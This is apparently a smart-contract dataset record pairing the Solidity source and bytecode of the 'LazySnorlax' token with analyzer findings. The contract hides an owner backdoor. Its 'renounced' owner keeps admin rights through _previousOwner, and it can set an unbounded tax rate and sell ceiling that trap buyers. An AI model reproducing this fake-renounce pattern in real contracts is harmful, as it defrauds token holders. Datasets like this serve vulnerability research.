412156104b1578260000393505b50919998505050505050505050565b609681565b66038d7ea4c6800081565b600281565b600181565b61546081565b60008084848181600003131580156104ff5750678ac7230489e8000082125b151561050a57600080fd5b426154608601111561051b57600080fd5b6105268a8a8a6102b2565b8061054f575060ff8a1615801561053b575088155b8015610545575087155b801561054f575086155b151561055a57600080fd5b6000925060ff8a1615801561056d575088155b8015610577575087155b8015610581575086155b1561058f576000925061059d565b61059a8a8a8a610624565b92505b50509390930166038d7ea4c68000019695505050505050565b678ac7230489e8000081565b61271081565b60008060006105d989898787610672565b91508115156105ec5786860392506105ff565b6105f7898989610624565b905080860192505b50509695505050505050565b60008183111561061b578161061d565b825b9392505050565b6000633b9aca00820481600160ff8716141561064b5761064485836106d3565b9050610663565b60ff861660021415610661576106448583610711565bfe5b633b9aca000295945050505050565b60008060008484604051918252602082015260409081019051908190039020915081905060ff8716600114156106b3576106ac8187610741565b92506106c9565b8660ff1660021415610661576106ac8187610767565b5050949350505050565b6000806000841180156106e65750606484105b15156106ee57fe5b83606484028115156106fc57fe5b049050610709818461078e565b949350505050565b600080600084101580156107255750606384105b151561072d57fe5b60018460640303606484028115156106fc57fe5b6000806000831180156107545750606483105b151561075c57fe5b505060649091061090565b6000806000831015801561077b5750606383105b151561078357fe5b505060649091061190565b612710609683020490910303905600a165627a7a72305820c0ae1e92c0eae48210b014d7fdc1beebe7d03712027a9a15b13b1861ad35b66c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 192 |
0xaeb469a1f56cfad6ef4df5a8c3bc13699f7e8840 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _previousOwner==_msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_previousOwner=_owner;
_owner = address(0xdead);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LazySnorlax is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 800000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=9;
address payable private _taxWallet;
string private constant _name = "Lazy Snorlax";
string private constant _symbol = "Lazy Snorlax";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _ceil = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(0x44e3cd9477438740b72d25cd44EF587CF35e6cA4);
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(amount <= _ceil);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_ceil = 800000000 ;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function setCeiling(uint256 ceil) external onlyOwner {
_ceil = ceil;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c80638da5cb5b1161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b80638da5cb5b146102695780638f02cf971461029457806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d357806351bc3c85146101fe57806370a0823114610215578063715018a614610252576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612681565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612231565b6103f6565b6040516101629190612666565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612803565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906121e2565b61041e565b6040516101ca9190612666565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f59190612878565b60405180910390f35b34801561020a57600080fd5b506102136104fc565b005b34801561022157600080fd5b5061023c60048036038101906102379190612154565b610576565b6040516102499190612803565b60405180910390f35b34801561025e57600080fd5b506102676105c7565b005b34801561027557600080fd5b5061027e6107dc565b60405161028b9190612598565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190612296565b610805565b005b3480156102c957600080fd5b506102d2610903565b6040516102df9190612681565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612231565b610940565b60405161031c9190612666565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612296565b61095e565b005b34801561035a57600080fd5b50610363610aa0565b005b34801561037157600080fd5b5061038c600480360381019061038791906121a6565b61101e565b6040516103999190612803565b60405180910390f35b3480156103ae57600080fd5b506103b76110a5565b005b60606040518060400160405280600c81526020017f4c617a7920536e6f726c61780000000000000000000000000000000000000000815250905090565b600061040a610403611117565b848461111f565b6001905092915050565b6000600554905090565b600061042b8484846112ea565b6104ec84610437611117565b6104e785604051806060016040528060288152602001612e1960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d611117565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116129092919063ffffffff16565b61111f565b600190509392505050565b600090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661053d611117565b73ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b600061056830610576565b905061057381611676565b50565b60006105c0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611970565b9050919050565b6105cf611117565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067c575061062b611117565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6106bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b290612763565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61080d611117565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108ba5750610869611117565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090612763565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600c81526020017f4c617a7920536e6f726c61780000000000000000000000000000000000000000815250905090565b600061095461094d611117565b84846112ea565b6001905092915050565b610966611117565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a1357506109c2611117565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612763565b60405180910390fd5b6000811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d906127e3565b60405180910390fd5b8060088190555050565b610aa8611117565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610b555750610b04611117565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90612763565b60405180910390fd5b600b60149054906101000a900460ff1615610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612703565b60405180910390fd5b610c1330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055461111f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7b57600080fd5b505afa158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb3919061217d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f919061217d565b6040518363ffffffff1660e01b8152600401610d8c9291906125b3565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde919061217d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e6730610576565b600080610e726107dc565b426040518863ffffffff1660e01b8152600401610e9496959493929190612605565b6060604051808303818588803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee691906122bf565b5050506001600b60166101000a81548160ff021916908315150217905550632faf0800600c819055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fc99291906125dc565b602060405180830381600087803b158015610fe357600080fd5b505af1158015610ff7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101b919061226d565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e6611117565b73ffffffffffffffffffffffffffffffffffffffff161461110657600080fd5b6000479050611114816119de565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561118f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611186906127c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f6906126e3565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112dd9190612803565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611351906127a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c1906126a3565b60405180910390fd5b6000811161140d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140490612783565b60405180910390fd5b6114156107dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148357506114536107dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160257600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115335750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561154857600c5481111561154757600080fd5b5b600061155330610576565b9050600b60159054906101000a900460ff161580156115c05750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d85750600b60169054906101000a900460ff165b15611600576115e681611676565b600047905060008111156115fe576115fd476119de565b5b505b505b61160d838383611a4a565b505050565b600083831115829061165a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116519190612681565b60405180910390fd5b506000838561166991906129c9565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156117025781602001602082028036833780820191505090505b5090503081600081518110611740577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156117e257600080fd5b505afa1580156117f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181a919061217d565b81600181518110611854577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506118bb30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461111f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161191f95949392919061281e565b600060405180830381600087803b15801561193957600080fd5b505af115801561194d573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b60006006548211156119b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ae906126c3565b60405180910390fd5b60006119c1611a5a565b90506119d68184611a8590919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a46573d6000803e3d6000fd5b5050565b611a55838383611acf565b505050565b6000806000611a67611c9a565b91509150611a7e8183611a8590919063ffffffff16565b9250505090565b6000611ac783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ce7565b905092915050565b600080600080600080611ae187611d4a565b955095509550955095509550611b3f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bd485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2081611e5a565b611c2a8483611f17565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c879190612803565b60405180910390a3505050505050505050565b6000806000600654905060006005549050611cc2600554600654611a8590919063ffffffff16565b821015611cda57600654600554935093505050611ce3565b81819350935050505b9091565b60008083118290611d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d259190612681565b60405180910390fd5b5060008385611d3d919061293e565b9050809150509392505050565b6000806000806000806000806000611d678a600854600854611f51565b9250925092506000611d77611a5a565b90506000806000611d8a8e878787611fe7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611df483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611612565b905092915050565b6000808284611e0b91906128e8565b905083811015611e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4790612723565b60405180910390fd5b8091505092915050565b6000611e64611a5a565b90506000611e7b828461207090919063ffffffff16565b9050611ecf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611f2c82600654611db290919063ffffffff16565b600681905550611f4781600754611dfc90919063ffffffff16565b6007819055505050565b600080600080611f7d6064611f6f888a61207090919063ffffffff16565b611a8590919063ffffffff16565b90506000611fa76064611f99888b61207090919063ffffffff16565b611a8590919063ffffffff16565b90506000611fd082611fc2858c611db290919063ffffffff16565b611db290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612000858961207090919063ffffffff16565b90506000612017868961207090919063ffffffff16565b9050600061202e878961207090919063ffffffff16565b90506000612057826120498587611db290919063ffffffff16565b611db290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561208357600090506120e5565b60008284612091919061296f565b90508284826120a0919061293e565b146120e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d790612743565b60405180910390fd5b809150505b92915050565b6000813590506120fa81612dd3565b92915050565b60008151905061210f81612dd3565b92915050565b60008151905061212481612dea565b92915050565b60008135905061213981612e01565b92915050565b60008151905061214e81612e01565b92915050565b60006020828403121561216657600080fd5b6000612174848285016120eb565b91505092915050565b60006020828403121561218f57600080fd5b600061219d84828501612100565b91505092915050565b600080604083850312156121b957600080fd5b60006121c7858286016120eb565b92505060206121d8858286016120eb565b9150509250929050565b6000806000606084860312156121f757600080fd5b6000612205868287016120eb565b9350506020612216868287016120eb565b92505060406122278682870161212a565b9150509250925092565b6000806040838503121561224457600080fd5b6000612252858286016120eb565b92505060206122638582860161212a565b9150509250929050565b60006020828403121561227f57600080fd5b600061228d84828501612115565b91505092915050565b6000602082840312156122a857600080fd5b60006122b68482850161212a565b91505092915050565b6000806000606084860312156122d457600080fd5b60006122e28682870161213f565b93505060206122f38682870161213f565b92505060406123048682870161213f565b9150509250925092565b600061231a8383612326565b60208301905092915050565b61232f816129fd565b82525050565b61233e816129fd565b82525050565b600061234f826128a3565b61235981856128c6565b935061236483612893565b8060005b8381101561239557815161237c888261230e565b9750612387836128b9565b925050600181019050612368565b5085935050505092915050565b6123ab81612a0f565b82525050565b6123ba81612a52565b82525050565b60006123cb826128ae565b6123d581856128d7565b93506123e5818560208601612a64565b6123ee81612af5565b840191505092915050565b60006124066023836128d7565b915061241182612b06565b604082019050919050565b6000612429602a836128d7565b915061243482612b55565b604082019050919050565b600061244c6022836128d7565b915061245782612ba4565b604082019050919050565b600061246f6017836128d7565b915061247a82612bf3565b602082019050919050565b6000612492601b836128d7565b915061249d82612c1c565b602082019050919050565b60006124b56021836128d7565b91506124c082612c45565b604082019050919050565b60006124d86020836128d7565b91506124e382612c94565b602082019050919050565b60006124fb6029836128d7565b915061250682612cbd565b604082019050919050565b600061251e6025836128d7565b915061252982612d0c565b604082019050919050565b60006125416024836128d7565b915061254c82612d5b565b604082019050919050565b60006125646019836128d7565b915061256f82612daa565b602082019050919050565b61258381612a3b565b82525050565b61259281612a45565b82525050565b60006020820190506125ad6000830184612335565b92915050565b60006040820190506125c86000830185612335565b6125d56020830184612335565b9392505050565b60006040820190506125f16000830185612335565b6125fe602083018461257a565b9392505050565b600060c08201905061261a6000830189612335565b612627602083018861257a565b61263460408301876123b1565b61264160608301866123b1565b61264e6080830185612335565b61265b60a083018461257a565b979650505050505050565b600060208201905061267b60008301846123a2565b92915050565b6000602082019050818103600083015261269b81846123c0565b905092915050565b600060208201905081810360008301526126bc816123f9565b9050919050565b600060208201905081810360008301526126dc8161241c565b9050919050565b600060208201905081810360008301526126fc8161243f565b9050919050565b6000602082019050818103600083015261271c81612462565b9050919050565b6000602082019050818103600083015261273c81612485565b9050919050565b6000602082019050818103600083015261275c816124a8565b9050919050565b6000602082019050818103600083015261277c816124cb565b9050919050565b6000602082019050818103600083015261279c816124ee565b9050919050565b600060208201905081810360008301526127bc81612511565b9050919050565b600060208201905081810360008301526127dc81612534565b9050919050565b600060208201905081810360008301526127fc81612557565b9050919050565b6000602082019050612818600083018461257a565b92915050565b600060a082019050612833600083018861257a565b61284060208301876123b1565b81810360408301526128528186612344565b90506128616060830185612335565b61286e608083018461257a565b9695505050505050565b600060208201905061288d6000830184612589565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006128f382612a3b565b91506128fe83612a3b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293357612932612a97565b5b828201905092915050565b600061294982612a3b565b915061295483612a3b565b92508261296457612963612ac6565b5b828204905092915050565b600061297a82612a3b565b915061298583612a3b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129be576129bd612a97565b5b828202905092915050565b60006129d482612a3b565b91506129df83612a3b565b9250828210156129f2576129f1612a97565b5b828203905092915050565b6000612a0882612a1b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a5d82612a3b565b9050919050565b6000